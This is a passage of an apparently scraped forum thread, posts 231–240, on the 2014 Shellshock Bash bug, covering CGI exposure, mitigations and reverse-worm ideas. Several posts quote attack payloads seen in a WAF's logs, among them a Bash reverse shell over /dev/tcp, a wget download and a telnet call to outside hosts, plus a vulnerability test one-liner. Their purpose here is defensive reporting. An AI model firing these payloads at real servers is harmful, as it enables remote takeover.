ISC DHCP Client has a check_option_values function (at the end of dhclient.c), which (if it is properly used, I don't understand the surrounding code enough) should prevent this from being exploited.
Everything you need to know about the Shellshock Bash bug
231–240 of 296 posts
Re: Everything you need to know about the Shellshock Bash bug
#232Unless I've missed something, could some benevolent person use the bug to cause remote systems to run something like "sudo apt-get update && sudo apt-get install bash", to patch the vulnerability automatically? (it makes lots of assumptions, but surely it's better to have some patched systems as a result.)
Certain worms include a patching step like this when they infect a machine to avoid losing control via re-infection.
For a high school science research course I did an epidemiological modeling study on how "good" reverse-worms might affect the spread of infection, they're a pretty interesting thought experiment. With something involving exponential growth like this, early movers have a significant advantage.
As far as I know, there hasn't been a successful reverse-worm that did not accidentally cause worse issues (flooding local networks with a high density set of boxes doing over-zealous scanning, or accidentally destroying boxes due to a slapdash narrowly tested script).
Reverse-worms they can either wait around, detecting requests from infected-but-not-patched systems to re-infect and patch them—or just start scanning IP ranges themselves. The former feels somewhat less pernicious. "Try to infect this computer, you will be patched and help patch." But that relies on other worms not patching their zombies.
Re: Everything you need to know about the Shellshock Bash bug
#233For Windows devs: remember that some tools and libraries come with bash (and some may not even tell you explicitly). For instance, msysgit has the vulnerability[1]: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test [1] from the comments on the blog in the OP
Can confirm the same for Github for Windows (msysgit again), Chef for Windows (embedded bash) as well as Cygwin's bash
Re: Everything you need to know about the Shellshock Bash bug
#234This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…
Seeing a mix of some that don't do much of anything but I'm starting to see a bunch of new ones using telnet are now starting to pop up. () { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22 () { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq
The payloads that don't do much of anything are possibly security researchers or white hats trying to get an idea of the scope of the issue and/or get ahead of this. Ex. http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...
Re: Everything you need to know about the Shellshock Bash bug
#235Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables , so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. i…
I'm curious -- is FastCGI vulnerable as well?
My understanding was that although regular CGI respawns the command interpreter every time the web server is queried, FastCGI reuses the same command interpreter and just updates the environment.
Re: Everything you need to know about the Shellshock Bash bug
#236Is there a way of preventing functions from being imported from the environment, but still allowing some variables in? My experiments with #!/usr/bin/env -i sh and #!/usr/bin/env - sh ...have not obtained what I'm after. The problem being that functions take precedence over names in the file system, so bash-4.2$ env '/bin/cp=() { echo oops;}' /bin/sh -c '/bin/cp /tmp/foo /tmp/bar' oops
If an attacker can fully control the name of an injected environment variable, then you've lost already. The attacker can override LD_PRELOAD, which is an environment variable honored by the Linux kernel itself.
Re: Everything you need to know about the Shellshock Bash bug
#237This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…
Paying customers get protection automatically while free customers do not?
I think this is not something which should be treated as a "value-added service" for your paying customers. The health and security of the Internet is far too important.
All your customers should be protected automatically.
P.S. I'm a big fan of Cloudflare.
Re: Everything you need to know about the Shellshock Bash bug
#238So if your server is set up with limited permissions for the apache-user, are you still at risk? I don't think the apache-user if properly restricted can write to directories, or even read most of the system files?
It doesn't seem to have trouble writing to /tmp in a typical low access scenario. Seems to me, anything can write to /tmp. Default seems to be 777 on /tmp.
I had someone exploit my Pydio install a few months ago with a litecoin miner. He managed to drop and run it in /tmp. He probably couldn't write and execute to too many other places.
Re: Everything you need to know about the Shellshock Bash bug
#239This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…
That's very similar to what we are seeing as well:
http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-inc...
Also, if anyone need a WAF to protect it in the mean while, we offer one that works very well with CloudFlare (their free plan).
Our team is giving is free for 30 days to help out.
Details: https://sucuri.net/website-firewall/
*Just email info@sucuri.net and they will get you hooked up.
thanks,
Re: Everything you need to know about the Shellshock Bash bug
#240Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables , so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. i…
Can someone who understands CGI enlighten me why (oh why) everyone treats #4 as the main problem instead of #2 ?
I mean, looking at it from an outside perspective, I can interpret #4 as working as intendeed (attacker calls my shell with arbitrary parameters and, naturally, my shell does arbitrary things controlled by the attacker), and #2 as a total WTF - why is apache passing arbitrary input data to global-scoped (as in, affecting the subsequent bash invocations) environment variables; and can it stop doing it? If not, why is apache passing this data without any verification/sanitization/escaping, and can it stop doing it?
The fixes to the bash flaw seem like a band-aid - if some web service invokes other programs that somehow get called with attacker-defined environment variables, then it seems like a potential for future exploits on other targets than bash; many other things will change their behavior depending on the environment vars.